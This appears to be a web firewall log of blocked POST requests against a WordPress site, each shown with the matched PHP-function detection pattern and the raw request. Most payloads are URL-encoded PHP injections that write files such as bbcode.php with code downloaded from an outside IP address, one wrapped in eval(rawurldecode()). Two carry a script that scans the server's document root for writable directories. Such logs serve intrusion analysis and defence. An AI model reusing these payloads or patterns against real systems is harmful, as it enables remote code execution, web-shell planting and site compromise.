Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nYa=%3C%3Fphp%20%20file_put_contents%28%27contentcache.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/hyUZrzMTrg%27%29%29%3B"]
["2026-05-12 09:56:42","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lX:%3C%3Fphp%20%20file_put_contents%28%27bbcode.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/nseCnmrmhl%27%29%29%3B","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoStvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:169\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nlX=%3C%3Fphp%20%20file_put_contents%28%27bbcode.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/nseCnmrmhl%27%29%29%3B"]
["2026-05-12 09:56:44","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LV:%3C%3Fphp%20%20file_put_contents%28%27element.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/UAxveQYuzr%27%29%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:170\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nLV=%3C%3Fphp%20%20file_put_contents%28%27element.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/UAxveQYuzr%27%29%29%3B"]
["2026-05-12 09:56:46","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rq:%3C%3Fphp%20%20file_put_contents%28%27your_orders.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/CCApDsTYxR%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:174\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nrq=%3C%3Fphp%20%20file_put_contents%28%27your_orders.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/CCApDsTYxR%27%29%29%3B"]
["2026-05-12 09:56:48","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uB:%3C%3Fphp%20%20file_put_contents%28%27layersmenu.inc.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/JRGNuepzXM%27%29%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:177\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\n\nuB=%3C%3Fphp%20%20file_put_contents%28%27layersmenu.inc.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/JRGNuepzXM%27%29%29%3B"]
["2026-05-12 09:56:50","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27deleteCourseLink.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/UBggJfWjWL%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\ncontent-length:202\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27deleteCourseLink.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/UBggJfWjWL%27%29%29%3B\"));"]
["2026-05-12 09:56:54","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bM:%3C%3Fphp%20%20file_put_contents%28%27mediaplugin.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ZZBoTynciq%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:174\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\n\nbM=%3C%3Fphp%20%20file_put_contents%28%27mediaplugin.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ZZBoTynciq%27%29%29%3B"]
["2026-05-12 10:17:30","167.172.79.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Aq:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3339\n\nAq=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:18:47","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Wi:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3339\nsec-fetch-mode:navigate\n\nWi=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
